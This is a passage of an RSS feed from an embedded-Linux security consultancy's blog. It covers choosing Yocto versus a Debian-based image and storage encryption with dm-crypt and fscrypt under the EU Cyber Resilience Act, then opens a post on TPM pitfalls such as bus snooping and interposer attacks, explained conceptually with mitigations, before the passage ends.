<li>If needed, archive the Debian source packages and the image&rsquo;s Software Bill of Materials (SBOM) alongside the image. That keeps you on the right side of GPL source-availability and CRA bill-of-materials requirements. Tools like <code>debsbom</code><sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup> generate the SBOM straight from a Debian system.</li>
</ul>
<figure>
<img src="https://sigma-star.at/blog/2026/05/you-probably-dont-need-yocto-and-thats-fine/debos.svg" loading="lazy" decoding="async" alt="debos workflow: a local aptly mirror of Debian plus the project&rsquo;s kernel, bootloader, and apps feeds debos, driven by a YAML config, which emits a disk image alongside GPL sources and an SBOM"></figure>
<h2 id="yocto-or-not-yocto-how-to-decide">Yocto or not Yocto? How to decide</h2>
<p>After all that, when <em>should</em> you pick Yocto?</p>
<p>Use Yocto when:</p>
<ul>
<li>You need a heavily customised distribution: custom user space, custom compile flags, deep changes to base components.</li>
<li>You have hard size or boot-time constraints that an off-the-shelf distribution can&rsquo;t meet.</li>
<li>You operate under license restrictions that exclude common license categories. Some industries (medical devices, automotive, certain defense work) won&rsquo;t ship GPLv3 components. Yocto&rsquo;s <code>INCOMPATIBLE_LICENSE</code> mechanism makes excluding a whole license family across the image straightforward; with a stock Debian base you have to audit and trim packages yourself.</li>
<li>Your SoC vendor&rsquo;s official support path is Yocto and the BSP is solid.</li>
</ul>
<p>Skip Yocto when:</p>
<ul>
<li>You &ldquo;just&rdquo; need a modern Linux to run your application on top of.</li>
<li>Your storage and memory budget can absorb a normal Debian-based image (say, hundreds of MB of flash and 256 MB or more of RAM).</li>
<li>Your product lifetime is long enough that you&rsquo;d rather rely on Debian&rsquo;s Security Team than maintain your own.</li>
</ul>
<p>Skip Debian when:</p>
<ul>
<li>You need to modify or rebuild many of its packages. Rebuilding a few is manageable, but each rebuilt package is maintenance you take on yourself. Patching dozens of upstream packages recreates the work the Debian maintainers were doing for you, and Yocto&rsquo;s recipe model handles that scale more cleanly.</li>
<li>You need a non-glibc libc such as <code>musl</code> or <code>uClibc</code>. Debian&rsquo;s main archive uses glibc throughout; swapping it out means rebuilding most of the archive yourself.</li>
<li>You need software much newer than Debian stable ships. Backports help for some packages, but if your product needs a recent compiler or a recent runtime, Debian stable will fight you, and Debian testing isn&rsquo;t a production target.</li>
</ul>
<p>Whichever way you decide, decide consciously and decide early.
This is a foundational choice that&rsquo;s hard to walk back once a product is in the field.
When in doubt, start with an established distribution.
Migrating <em>to</em> Yocto later, once you have a real reason for it, is much cheaper than the reverse: discovering halfway through a project that you&rsquo;ve taken on years of maintenance work for no real benefit.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Yocto is a remarkable piece of engineering.
It lets you build exactly the Linux system you need, and that&rsquo;s precisely the problem when you don&rsquo;t need <em>exactly</em> that.
The same goes for other build-from-source tools like Buildroot: almost everything above applies there too, because the moment you assemble your own distribution, you own its maintenance.</p>
<ul>
<li>&ldquo;Your own distribution&rdquo; really means <em>your own maintenance</em>. The CRA and similar regulations make that bill come due.</li>
<li>A heavily modified Yocto build doesn&rsquo;t inherit upstream fixes for free. Every maintenance release becomes review and rework.</li>
<li>An established distribution like Debian, assembled into an image with <code>mkosi</code>, <code>ELBE</code>, or <code>debos</code>, covers the common case with a fraction of the per-project effort.</li>
<li>When you need surgical control over the system, Yocto wins. When you don&rsquo;t, picking it is a long, expensive way of solving a problem you don&rsquo;t have.</li>
</ul>
<p>For customers building a <em>custom</em> distribution, we always recommend Yocto.
For everyone else, we keep asking the same question: Do you really need it?</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://www.yoctoproject.org/software-overview/">yoctoproject.org/software-overview</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847">Regulation (EU) 2024/2847</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://docs.yoctoproject.org/ref-manual/release-process.html">Yocto release process</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://www.kernel.org/category/releases.html">kernel.org releases</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://www.debian.org/">debian.org</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://www.debian.org/ports/">Debian ports</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://wiki.debian.org/LTS">Debian LTS</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://github.com/systemd/mkosi">github.com/systemd/mkosi</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://elbe-rfs.org/">elbe-rfs.org</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://github.com/go-debos/debos">github.com/go-debos/debos</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://www.aptly.info/">aptly.info</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p><a href="https://siemens.github.io/debsbom">debsbom</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Data Confidentiality via Storage Encryption on Embedded Linux Devices</title><link>https://sigma-star.at/blog/2026/02/data-confidentiality-via-storage-encryption-on-embedded-linux-devices/</link><pubDate>Tue, 24 Feb 2026 00:00:00 +0100</pubDate><author>Lorenz Kofler</author><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2026/02/data-confidentiality-via-storage-encryption-on-embedded-linux-devices/</guid><description><![CDATA[<h1 id="data-confidentiality-via-storage-encryption-on-embedded-linux-devices">Data Confidentiality via Storage Encryption on Embedded Linux Devices</h1>
<p>The Cyber Resilience Act (CRA) lists data confidentiality as an &ldquo;essential
cybersecurity requirement&rdquo; that products must meet to be placed on the EU
market<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. This requirement will affect many embedded Linux devices,
particularly those that store personal data.
This blog post is the first in a series covering CRA-related security topics.</p>
<p>Data confidentiality is the protection of data against unauthorized access and
disclosure.
To ensure confidentiality comprehensively, it must be maintained across all
states in which data may exist.
Depending on the threat model, different technologies may be required for each
state. For example:</p>]]></description><content:encoded><![CDATA[<h1 id="data-confidentiality-via-storage-encryption-on-embedded-linux-devices">Data Confidentiality via Storage Encryption on Embedded Linux Devices</h1>
<p>The Cyber Resilience Act (CRA) lists data confidentiality as an &ldquo;essential
cybersecurity requirement&rdquo; that products must meet to be placed on the EU
market<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>. This requirement will affect many embedded Linux devices,
particularly those that store personal data.
This blog post is the first in a series covering CRA-related security topics.</p>
<p>Data confidentiality is the protection of data against unauthorized access and
disclosure.
To ensure confidentiality comprehensively, it must be maintained across all
states in which data may exist.
Depending on the threat model, different technologies may be required for each
state. For example:</p>
<ul>
<li>Transport Layer Security (TLS) for <strong>data in transit</strong></li>
<li>Trusted Execution Environments (TEEs) for <strong>data in use</strong></li>
<li>Encryption at rest (e.g., full-disk encryption) for <strong>data at rest</strong></li>
</ul>
<p>Various methods can provide confidentiality for data at rest, depending on the
specific requirements of the data. For example, to protect user passwords,
Linux relies on the shadow file (<code>/etc/shadow</code>) , which stores salted password
hashes. This approach works because authentication only requires comparing
hashes, not recovering the original plaintext. However, if the data must be
retrieved in plaintext later, encryption is a common approach.</p>
<p>Storage encryption can be implemented at multiple layers of the software stack.
The most fine-grained approach is application-level encryption, where specific
programs, such as password managers, manage encryption and decryption internally.
Another option is storage-level encryption, which transparently protects data
regardless of which application accesses it. In this post, we focus on the
storage encryption technologies available in Linux.</p>
<p>Linux offers several mechanisms within the storage stack to encrypt data at
rest, with <code>dm-crypt</code><sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>, <code>fscrypt</code><sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>, and
<code>eCryptfs</code><sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup> being among the most common options.
At the block level, <code>dm-crypt</code> facilitates full-disk or full-partition
encryption. At the filesystem level, <code>fscrypt</code> enables granular
per-directory encryption on supported filesystems. While <code>eCryptfs</code>
offers a similar stacked filesystem approach, it is an older technology
that has been largely superseded by <code>fscrypt</code>.</p>
<h5 id="side-note-what-data-at-rest-means"><em>Side Note:</em> What Data at Rest means</h5>
<p>Data at rest refers to digital information that is physically stored on a stable storage
medium, such as a hard drive or a flash drive, and is not currently moving through a network
or being processed in memory.
In the context of storage encryption, this data is protected by converting it into
ciphertext using cryptographic algorithms, ensuring that its confidentiality is preserved even
if the physical hardware is stolen.
Accessing the information requires a specific decryption key or password, which serves as a
final barrier between an unauthorized user and the raw files.</p>
<h2 id="block-level-encryption-with-dm-crypt">Block-level encryption with dm-crypt</h2>
<figure>
<img src="https://sigma-star.at/blog/2026/02/data-confidentiality-via-storage-encryption-on-embedded-linux-devices/block-level-encryption.svg" loading="lazy" decoding="async" alt="Block-level encryption"></figure>
<p>The <code>dm-crypt</code> device-mapper target implements block-level encryption in Linux.
It enables full-disk or full-partition encryption on any device exposed to Linux
as a block device, that is, any storage medium that processes data in fixed-size
blocks, such as HDDs, SSDs, SD cards, and eMMC modules. Because it operates at
the block level, it supports any block-based filesystem.</p>
<p>The Linux device-mapper allows the creation of virtual block devices that map
to one or more underlying block devices, which may be physical or virtual.
A device-mapper target processes read and
write requests issued to the virtual block device and forwards them to the
underlying device. The target specifies how requests are mapped and whether
data is transformed in the process. One such target is <code>dm-crypt</code>,
which encrypts data on writes and decrypts it on reads.</p>
<p>While <code>dm-crypt</code> can encrypt entire disks or partitions, it operates strictly
on block devices. Therefore, it cannot operate on raw flash
exposed through the Linux MTD subsystem (e.g., raw NAND), which is common in
embedded systems. Note that SSDs and USB drives are flash-based too,
but their internal controllers abstract the raw flash and present a normal
block device interface to the OS.</p>
<p>The user space tool <code>cryptsetup</code><sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> is commonly used for configuring
<code>dm-crypt</code> volumes.
Alternatively, the tool <code>dmsetup</code><sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup> provides low-level control of the
device-mapper and can manage mappings for any target, including <code>dm-crypt</code>.
<code>cryptsetup</code> supports the Linux Unified Key Setup (LUKS) format (LUKS1<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>
and LUKS2<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>), which specifies a standardized on-disk header for storing
encryption metadata at the beginning of the encrypted block device.
The LUKS header contains multiple key slots, allowing multiple passphrases to unlock
the same encrypted volume. When the user enters a passphrase, <code>cryptsetup</code>
derives a key-encryption key and uses it to decrypt the volume key material
stored in a LUKS key slot. If this step succeeds, <code>cryptsetup</code> loads the volume
key into <code>dm-crypt</code>.</p>
<h2 id="filesystem-level-encryption-with-fscrypt-or-ecryptfs">Filesystem-level encryption with fscrypt (or eCryptfs)</h2>
<figure>
<img src="https://sigma-star.at/blog/2026/02/data-confidentiality-via-storage-encryption-on-embedded-linux-devices/filesystem-level-encryption.svg" loading="lazy" decoding="async" alt="Filesystem-level encryption"></figure>
<p>The Linux kernel provides two mechanisms for filesystem-level
encryption: <code>fscrypt</code> and <code>eCryptfs</code>. Of these, <code>fscrypt</code> is the modern and
recommended solution. Before <code>fscrypt</code> was introduced, overlay or stacked
filesystem approaches such as <code>eCryptfs</code> were commonly used. <code>eCryptfs</code> itself
is a stacked filesystem and the community now widely considers it obsolete,
with potential removal from the Linux kernel in the future<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup>.
As a result, its use today is typically justified only in niche scenarios, most
notably when filesystem-level encryption is required but the underlying
filesystem does not support <code>fscrypt</code>.</p>
<p><code>fscrypt</code> provides transparent encryption at the filesystem level. In contrast
to <code>dm-crypt</code>, which encrypts an entire block device, filesystem-level
encryption applies policies per directory, encrypting the files
within the protected directory tree. This design allows different parts of the
same filesystem to use different encryption keys. For example, multiple users
can encrypt their home directories with distinct keys even though all home
directories reside on the same underlying block device.</p>
<p>Because <code>fscrypt</code> is a library that filesystems can hook into to support
transparent encryption of files and directories, a filesystem must explicitly
support it. Filesystems that currently support <code>fscrypt</code> include
<code>ext4</code>, <code>f2fs</code>, and <code>ubifs</code>. <code>fscrypt</code> is particularly relevant for deeply
embedded Linux systems that use raw NAND storage, where <code>dm-crypt</code> cannot be
used because it operates only on block devices.</p>
<p>It is important to note that <code>fscrypt</code> encrypts file contents and filenames,
but leaves most filesystem metadata unencrypted. This includes ownership and
permission bits, timestamps and directory structure.</p>
<h2 id="key-takeaways">Key Takeaways</h2>
<p>Linux can protect data at rest using storage encryption at the block level with
<code>dm-crypt</code> or at the filesystem level with <code>fscrypt</code> or the older <code>eCryptfs</code>.
From the perspective of applications, this protection is transparent because
the kernel encrypts data on write operations and decrypts it on read operations. As a result,
data is stored on disk in encrypted form. An attacker who
gains physical access to the storage medium or obtains an offline disk image
can recover only ciphertext.</p>
<p>A more fine-grained alternative is application-level encryption, where the
application implements encryption and decryption internally. This
approach increases complexity, but it can provide additional protection against
certain runtime attacks. For example, consider an attacker who gains remote,
arbitrary read access to the filesystem. With application-level encryption,
reads of application data files still return only ciphertext, and the attacker
must also compromise the application or its key-handling path to obtain
plaintext. By contrast, with the storage encryption methods discussed above,
once the data is unlocked, the OS exposes plaintext through the filesystem as
part of normal operation, so an attacker with sufficient runtime file access
can read the data directly.</p>
<figure>
<img src="https://sigma-star.at/blog/2026/02/data-confidentiality-via-storage-encryption-on-embedded-linux-devices/application-level-encryption.svg" loading="lazy" decoding="async" alt="Application-level encryption"></figure>
<p>However, encryption alone does not ensure integrity. For example, <code>fscrypt</code>
provides confidentiality but not integrity, so an attacker who modifies
ciphertext can cause data corruption or worse, change encrypted data in a way
that cause software to act differently.
To detect tampering, use authenticated encryption (AEAD) with <code>dm-crypt</code>
in combination with integrity mechanisms such as <code>dm-integrity</code><sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup>
for writable storage or <code>dm-verity</code><sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup> for read-only storage.</p>
<p>Another issue to keep in mind is that, on embedded devices, interactive
passphrase entry at boot is generally not possible, even though it is needed to
retrieve the storage encryption key. Therefore, the key must be stored in a
secure location. Embedded systems commonly rely on hardware-backed key storage
for this purpose, such as TPMs or secure elements. For further reading, see our
blog post <a href="https://sigma-star.at/blog/2026/01/tpm-on-embedded-systems-pitfalls-and-caveats/"><strong>TPM on Embedded
Systems</strong></a>.</p>
<p>The most appropriate method to ensure data confidentiality depends on the data
that requires protection and
the threat model. At sigma star gmbh, we generally recommend combining
full-disk encryption using <code>dm-crypt</code> with application-level encryption for
sensitive data. For embedded systems, we also recommend benchmarking encryption
algorithms and cipher configurations. If the CPU must encrypt and decrypt every
block in software, read and write throughput and boot time can degrade.
By benchmarking candidate configurations on the target hardware, we can
determine the highest-performing option without compromising security.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p><a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#anx_I">https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#anx_I</a>&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p><a href="https://docs.kernel.org/admin-guide/device-mapper/dm-crypt.html">https://docs.kernel.org/admin-guide/device-mapper/dm-crypt.html</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p><a href="https://docs.kernel.org/filesystems/fscrypt.html">https://docs.kernel.org/filesystems/fscrypt.html</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p><a href="https://www.ecryptfs.org/">https://www.ecryptfs.org/</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p><a href="https://man7.org/linux/man-pages/man8/cryptsetup.8.html">https://man7.org/linux/man-pages/man8/cryptsetup.8.html</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p><a href="https://man7.org/linux/man-pages/man8/dmsetup.8.html">https://man7.org/linux/man-pages/man8/dmsetup.8.html</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p><a href="https://cdn.kernel.org/pub/linux/utils/cryptsetup/LUKS_docs/on-disk-format.pdf">https://cdn.kernel.org/pub/linux/utils/cryptsetup/LUKS_docs/on-disk-format.pdf</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p><a href="https://gitlab.com/cryptsetup/LUKS2-docs/-/raw/main/luks2_doc_wip.pdf">https://gitlab.com/cryptsetup/LUKS2-docs/-/raw/main/luks2_doc_wip.pdf</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p><a href="https://lore.kernel.org/lkml/ZyKf6ZSZrETI&#43;4%2FS@redbud/T/#u">https://lore.kernel.org/lkml/ZyKf6ZSZrETI+4%2FS@redbud/T/#u</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p><a href="https://docs.kernel.org/admin-guide/device-mapper/dm-integrity.html">https://docs.kernel.org/admin-guide/device-mapper/dm-integrity.html</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p><a href="https://docs.kernel.org/admin-guide/device-mapper/verity.html">https://docs.kernel.org/admin-guide/device-mapper/verity.html</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>TPM on Embedded Systems: Pitfalls and Caveats</title><link>https://sigma-star.at/blog/2026/01/tpm-on-embedded-systems-pitfalls-and-caveats/</link><pubDate>Mon, 19 Jan 2026 00:00:00 +0100</pubDate><author>David Gstir</author><guid>https://sigma-star.at/blog/2026/01/tpm-on-embedded-systems-pitfalls-and-caveats/</guid><description><![CDATA[<h1 id="tpm-on-embedded-systems-pitfalls-and-caveats-to-watch-out-for">TPM on Embedded Systems: Pitfalls and Caveats to Watch Out For</h1>
<p>Trusted Platform Module (TPM) chips have been around since the release of the TPM 1.2
specification more than 20 years ago, and the TPM 2.0 specification<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> was released in 2014. The technology is
now seeing widespread adoption in various computing sectors. TPMs have been a standard feature
in PCs, particularly notebooks, for some time. With integration into tools like systemd&rsquo;s
tooling for LUKS/dm-crypt and legal requirements like EU&rsquo;s CRA, TPM functionality is also
now making its way into the embedded Linux sector. In this post, we&rsquo;ll highlight common
pitfalls and considerations for using TPM chips on embedded devices.</p>]]></description><content:encoded><![CDATA[<h1 id="tpm-on-embedded-systems-pitfalls-and-caveats-to-watch-out-for">TPM on Embedded Systems: Pitfalls and Caveats to Watch Out For</h1>
<p>Trusted Platform Module (TPM) chips have been around since the release of the TPM 1.2
specification more than 20 years ago, and the TPM 2.0 specification<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> was released in 2014. The technology is
now seeing widespread adoption in various computing sectors. TPMs have been a standard feature
in PCs, particularly notebooks, for some time. With integration into tools like systemd&rsquo;s
tooling for LUKS/dm-crypt and legal requirements like EU&rsquo;s CRA, TPM functionality is also
now making its way into the embedded Linux sector. In this post, we&rsquo;ll highlight common
pitfalls and considerations for using TPM chips on embedded devices.</p>
<h2 id="brief-overview-trusted-platform-module-tpm">Brief Overview: Trusted Platform Module (TPM)</h2>
<p>Usually, a TPM is a dedicated chip that is connected to the CPU via a bus like LPC, SPI, or I2C.
In modern PCs, a firmware-based TPM (fTPM) is common, where the firmware (e.g., UEFI) emulates
a TPM in a secure environment. The same is also possible on embedded devices, for example, by
using Arm TrustZone to emulate a TPM.</p>
<p>There are three common use cases for TPM:</p>
<ol>
<li>
<p><strong>Secret storage:</strong> A core feature of a TPM is its ability to protect data using secure, internal
keys. These keys are protected in a way that makes them usable only by and within the TPM itself.
A TPM 2.0 chip supports multiple key hierarchies that reflect different trust scenarios, with
the Platform Hierarchy and Storage Hierarchy being the most commonly used ones. A TPM client
can create a new key in a hierarchy where the parent key&rsquo;s handle is used to protect
(encrypt and authenticate) the child key&rsquo;s data (then known as blob) when it is placed in
external storage<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>. This process is known as binding. When the secret
is needed again, the protected blob is passed back to the TPM, which verifies and decrypts it
before returning it to the client.</p>
<p>The TPM 2.0 specification defines a multitude of cryptographic algorithms such as hash functions,
symmetric/asymmetric ciphers and message authentication codes (MACs). This enables its use for
network protocols like TLS and storage security like LUKS/dm-crypt on Linux or BitLocker on Windows.</p>
</li>
<li>
<p><strong>Measured boot:</strong> Each TPM chip contains a set of 24 Platform Configuration Registers (PCRs)<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup>.
Their values are hashes produced from log events that reflect the boot and configuration state of
the platform. This is primarily used to secure the boot chain of a system, where each stage of
the boot process measures relevant components (bootloader, drivers, firmware, configuration data, etc.)
and uses these measurements to extend the cryptographic hash of the respective PCRs. Concurrently,
the details of these measurements are recorded in the TPM&rsquo;s event log. The full set of PCR
values provides a record of the boot state. Should a component be manipulated, the final PCR value
will change, which indicates a potential security issue.</p>
<p>This can be combined with TPM keys, where each key can be tied to a set of PCR values (known as sealing).
If the PCRs contain the expected values, the TPM allows the key to be used. Otherwise, its use is
prevented. This enables tight control over when a key is usable and provides an integrity measure.</p>
</li>
<li>
<p><strong>(Remote) Attestation:</strong> TPMs provide the ability to produce cryptographic proof of the boot
and configuration state of a system. This is done through a dedicated attestation protocol. For
the protocol to work, a trust chain must be established by verifying the TPM&rsquo;s identity and its
Attestation Key (AK). The attestation procedure utilizes a TPM key that is bound to a set of
PCR values. This enforces that the attestation can only be run when the system is in a known,
secure state. The result of this process is a signed <em>Quote</em> from the TPM, which contains
the current PCR values and a signature that proves their origin.</p>
</li>
</ol>
<h2 id="using-tpm-on-embedded-device">Using TPM on Embedded Device</h2>
<p>Embedded devices are primarily based on Arm SoCs, in contrast to the x86/amd64-based CPUs
common in PCs. This distinction is particularly relevant for the secure boot process, as much of
this is handled by a PC&rsquo;s UEFI, which is not standard on most embedded systems. Instead, these
systems rely on a vendor-specific boot-ROM followed by bootloaders like Barebox or U-Boot. While
U-Boot can support running in UEFI mode, this is still a rarity in the embedded space. It is,
however, possible to achieve a similar security posture without UEFI, as demonstrated by Manuel
Traut&rsquo;s <em>All Systems Go!</em> talk from 2024<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>. A physical TPM chip is not strictly
necessary either, as a fTPM can be implemented using technologies like Arm
TrustZone with OP-TEE.</p>
<p>From a threat model perspective, a critical difference between a PC and an embedded device is
that an embedded system often operates in a physically hostile environment without constant
human supervision. While a laptop can usually be protected by its owner quite easily (i.e. lock it away),
an embedded device, such as an IoT sensor or a point-of-sale terminal, is a prime target for
physical attacks including tampering, side-channel attacks, fault injection, and bus snooping.
This is particularly relevant when a TPM is used for disk encryption, as research has shown
these attacks can be effective against solutions like BitLocker<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup> and others<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.</p>
<p>The key difference in threat models is that the device manufacturer often needs to protect
their intellectual property (firmware, algorithms, and data) from the end-user or third parties,
whereas on a PC, the end-user is the one protecting their assets.</p>
<p>An advantage of embedded systems, however, is that their software stack is tailored to a
specific use case, unlike a general-purpose PC. This allows the manufacturer to tightly
control the software environment and implement robust security measures.</p>
<p>Other noteworthy differences include the significantly longer lifetimes of embedded systems,
which can exceed 10 years, compared to the 3-5 year lifespan of a typical PC. This extended
lifecycle necessitates longer support cycles for hardware components, including TPM chips,
whose firmware may contain vulnerabilities that require updates. Furthermore, embedded
systems are increasingly subject to legal requirements like CRA (Cyber Resilience Act)
and NIS2 (Network and Information Systems Directive 2), which aim to raise their security
baseline and hold manufacturers accountable.</p>
<h2 id="tpm-pitfalls-on-embedded-devices">TPM Pitfalls on Embedded Devices</h2>
<p>With that differences in mind, let&rsquo;s have a look at some of the common pitfalls
when using a TPM in general and specifically an embedded system:</p>
<h3 id="bus-snooping-attacks">Bus Snooping Attacks</h3>
<p>By attaching a probe to the physical communication lines between a TPM and the CPU/SoC,
a passive attacker can read the messages exchanged between them. This is a common
and straightforward physical attack, particularly in unattended embedded devices.</p>
<p>To mitigate this, TPM 2.0 supports session-based command and response parameter
encryption. This requires a secure session to be established between the client
and the TPM. The TPM specification defines multiple session types, including
HMAC sessions for command authentication and integrity, and policy sessions for
more complex authorization based on conditions like PCR values.</p>
<p>Crucially, the TPM&rsquo;s session-based encryption and authentication must be explicitly
enabled by the client software, as not all current implementations do this by default.
This is a significant security risk, as a lack of session encryption can expose
sensitive data like unsealed keys or authorization values in plaintext on the bus,
making it vulnerable to passive bus snooping.</p>
<h3 id="tpm-reset-attacks-by-active-interposer">TPM Reset Attacks by Active Interposer</h3>
<p>A more advanced threat is an active attacker on the bus between the TPM and the CPU.
They can launch a Man-in-the-Middle (MitM) attack, impersonating a legitimate TPM.
Even with session encryption, this attack can be effective if the client does not
first establish a trusted relationship with the TPM. A Time-of-Check to Time-of-Use
(TOCTU) attack is also possible, where the attacker only launches the MitM once the
system&rsquo;s integrity check has passed.</p>
<p>A major challenge is attacks that work across TPM resets. An attacker can physically
reset the TPM to force it back into an uncompromised state and then reconstruct
the PCR values to reflect an untampered boot. This allows them to access keys sealed
to those specific PCR values.</p>
<p>While there is no way to fully prevent a determined physical attacker, the Linux
Kernel has gained support to detect such interposer attacks thanks to James Bottomley&rsquo;s
work on Kernel 6.10. The mechanism chosen for this relies on the TPM&rsquo;s NULL seed,
which changes its value on every TPM reset. This allows the kernel to derive a
primary key that is volatile to the current boot session. The key&rsquo;s unique,
name can be passed securely from the bootloader to the kernel. If a MitM
attacker resets the TPM during this handover, the handle will become invalid.</p>
<p>The attestation process is rather complex to perform in kernel code, so the
kernel exposes the name of the derived key via <code>sysfs</code>, enabling userspace to
perform the full attestation logic including verification of the EK certificate.
Successful attestation of this NULL key name will prove that there was no interposer
present during the whole boot process. For more details, see James&rsquo; excellent
talk at FOSDEM 2025<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup>.</p>
<p>Unfortunately, while the foundations in the Linux Kernel have been put in place
and documented<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup>, other parts are still lagging behind here.
Especially systemd&rsquo;s dm-crypt integration does not support this as of now.</p>
<p>A more robust alternative that helps mitigate these types of attacks is using
a fTPM, as it runs on the same SoC, eliminating the physical
bus. However, fTPMs have their own set of caveats, which we will discuss later.</p>
<h3 id="direct-physical-attacks-on-tpm-chip">Direct Physical Attacks on TPM Chip</h3>
<p>With full physical access to the device, a malicious actor can perform a
range of attacks, from fault injection and side-channel analysis to more
direct tampering. While TPM chips are designed with security in mind, the
level of protection varies significantly by vendor and model. The
ISO/IEC 19790<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup> security level provides an indicator of a chip&rsquo;s
physical security capabilities. Unfortunately, most commercial
TPMs only achieve Level 1 or Level 2. Level 3 and 4 certifications,
which require tamper-resistant or tamper-evident features, are
extremely rare for TPMs and are typically reserved for high-security
applications using dedicated hardware security modules (HSMs).</p>
<p>A highly motivated attacker can aim to circumvent these protections
by desoldering the TPM and operating in another device. When its
secrets are cryptographically sealed to PCRs, it is also required
that the attacker reproduces the relevant PCR measurements in order
to be able to unseal a key outside the original device. While this
is extremely difficult and requires a lot of effort, it demonstrates that
a TPM is not a silver bullet.</p>
<h3 id="integrity-protection-and-code-execution-flaws">Integrity Protection and Code Execution Flaws</h3>
<p>While the host has means to verify the TPM chip (Endorsement Key),
this does not work the other way around. A TPM has no way to
do this as it is a passive device. As long as the caller provides
the correct authorization value to perform a command, it will do so.
